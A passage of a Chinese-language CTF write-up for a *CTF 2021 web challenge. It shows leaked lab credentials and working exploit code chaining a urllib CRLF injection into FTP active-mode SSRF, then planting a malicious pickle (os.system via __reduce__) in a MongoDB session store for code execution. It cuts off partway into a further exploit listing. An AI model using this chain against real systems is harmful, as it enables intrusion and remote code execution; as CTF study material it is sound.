class=\"title\"\u003eget_config\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f = self.ftp_login()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f.cwd(\u003cspan class=\"string\"\u003e\u0026quot;files\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e buf_size = \u003cspan class=\"number\"\u003e1024\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f.retrbinary(\u003cspan class=\"string\"\u003e\u0026#x27;RETR \u0026#123;\u0026#125;\u0026#x27;\u003c/span\u003e.\u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;config.json\u0026#x27;\u003c/span\u003e), self.callback, buf_size)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003econfig.py\u003c/code\u003e又告诉我们flask启动时的环境变量位于\u003ccode\u003e172.20.0.2\u003c/code\u003e的ftp服务器中。利用上面的ssrf来取得config.json:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;secret_key\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;f4545478ee86$%^\u0026amp;\u0026amp;%$#\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;DEBUG\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_TYPE\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;mongodb\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REMOTE_MONGO_IP\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;172.20.0.5\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REMOTE_MONGO_PORT\u0026quot;\u003c/span\u003e: \u003cspan class=\"number\"\u003e27017\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_MONGODB_DB\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;admin\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_MONGODB_COLLECT\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;sessions\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_PERMANENT\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_USE_SIGNER\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_KEY_PREFIX\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;session:\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SQLALCHEMY_DATABASE_URI\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SQLALCHEMY_TRACK_MODIFICATIONS\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REDIS_URL\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;redis://@172.20.0.4:6379/0\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时我们发现内网有\u003ccode\u003e172.20.0.0/29\u003c/code\u003e共五台服务器(1为宿主机,不计)\u003cbr\u003emysql估计是出题人想用来存payload审payload的,没啥用,hint也说了不要管redis,重点在于mongodb中存储了session对象。\u003cbr\u003e题目用到了\u003ccode\u003eflask_session\u003c/code\u003e,而\u003ccode\u003eflask_session\u003c/code\u003e使用的serializer默认是pickle(貌似现在也不支持改),也就是说只要能将恶意pickle数据塞到mongodb里就可以了\u003c/p\u003e\u003cp\u003e经尝试,利用\u003ccode\u003eftp://fan:root@172.20.0.2/\u003c/code\u003e这样的url可以列出ftp服务器内的文件,下载\u003ccode\u003eftp-server.py\u003c/code\u003e\u003cbr\u003e首先看权限:\u003ccode\u003eauthorizer.add_user(\u0026quot;fan\u0026quot;, \u0026quot;root\u0026quot;, \u0026quot;.\u0026quot;, perm=\u0026quot;elrafmwMT\u0026quot;)\u003c/code\u003e,有权限写\u003c/p\u003e\u003cp\u003eurllib这个ssrf还能怎么样进一步利用呢?略作百(gu)度(ge)可以找到\u003ca href=\"https://bugs.python.org/issue36276\"\u003e这个CVE\u003c/a\u003e\u003cbr\u003e不出意料,urllib在题目环境的版本中存在CRLF注入,我们可以在url的任意一个part注入换行符。这样,我们就可以完整地控制ftp客户端的行为了。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/\"\u003e这篇文章\u003c/a\u003e,我们发现ftp竟然还有主动模式这一说。\u003cbr\u003eplaid里的这道题利用ftp主动模式可以将ftp服务器内可控的二进制文件发送到任意ip的任意端口,对这道题来说问题就在于如何控制ftp服务器里的文件。\u003cbr\u003e经尝试(其实也能搜到),主动模式不仅可以用于文件的下载,还可以用于文件的上传。也就是说只要指示ftp服务器到我们自己的服务器来下载文件就好了。\u003c/p\u003e\u003cp\u003e此时,我们成功地将CRLF注入型SSRF提升为了完整的无状态二进制流SSRF(自己瞎起的名字),类似gopher\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#x27;自己的IP:端口\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarg = \u003cspan class=\"string\"\u003e\u0026#x27;SSRF的目标IP:端口\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PORT \u0026#x27;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#x27;,\u0026#x27;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#x27;\\r\\n\u0026#x27;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;ftp://fan:root\u003cspan class=\"subst\"\u003e\u0026#123;cmd\u0026#125;\u003c/span\u003e@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#x27;0.0.0.0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;accepted\u0026#x27;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;sent\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#x27;STOR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replaying\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#x27;RETR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接下来的任务就是向mongodb发起一个update请求,修改数据库里的session序列化数据。如何构造这个数据包呢,我赛后问了出题人和别的队伍的同学,基本有下面几种:\u003c/p\u003e\u003col\u003e\u003cli\u003e分析mongodb数据包,并手动构造(肝败吓疯)\u003c/li\u003e\u003cli\u003e查\u003ca href=\"https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/\"\u003e文档\u003c/a\u003e,手动构造\u003c/li\u003e\u003cli\u003e抓包重放(出题人)\u003c/li\u003e\u003cli\u003e我的办法\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e我的办法比较脏,但是也比较好玩。众所周知python啥都能干,比如pymongo。然而pymongo是主动去连服务器的,怎么获取到数据包本身呢?\u003cbr\u003e改代码呗,去\u003ccode\u003esite-packages/pymongo/network.py:142\u003c/code\u003e,在sendall之前丢 个 异 常\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/exception.png\" class=\"\" title=\"我看是你脑子有异常\"\u003e\u003cp\u003e然后就可以愉快地拿到mongo请求了。\u003cbr\u003e只是有一点要注意,下面这个脚本跑的时候在localhost也得启动一个mongo实例/docker,不然pymongo发别的ping包之类的会阻塞。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pymongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e MongoClient\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pickle\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_pickle\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eexp\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__reduce__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (os.system, (cmd,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pickle.dumps(exp())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_mongo\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client = MongoClient(\u003cspan class=\"string\"\u003e\u0026#x27;localhost\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e27017\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coll = client.admin.sessions\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coll.update_one(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#x27;session:37386ce1-3fe8-4f1d-91fc-224581c5279f\u0026#x27;\u003c/span\u003e\u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;$set\u0026quot;\u003c/span\u003e: \u0026#123; \u003cspan class=\"string\"\u003e\u0026quot;val\u0026quot;\u003c/span\u003e: get_pickle(cmd) \u0026#125;\u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e upsert=\u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e e.message\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e __name__ == \u003cspan class=\"string\"\u003e\u0026#x27;__main__\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(get_mongo(\u003cspan class=\"string\"\u003e\u0026#x27;ls\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 剩下的exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan 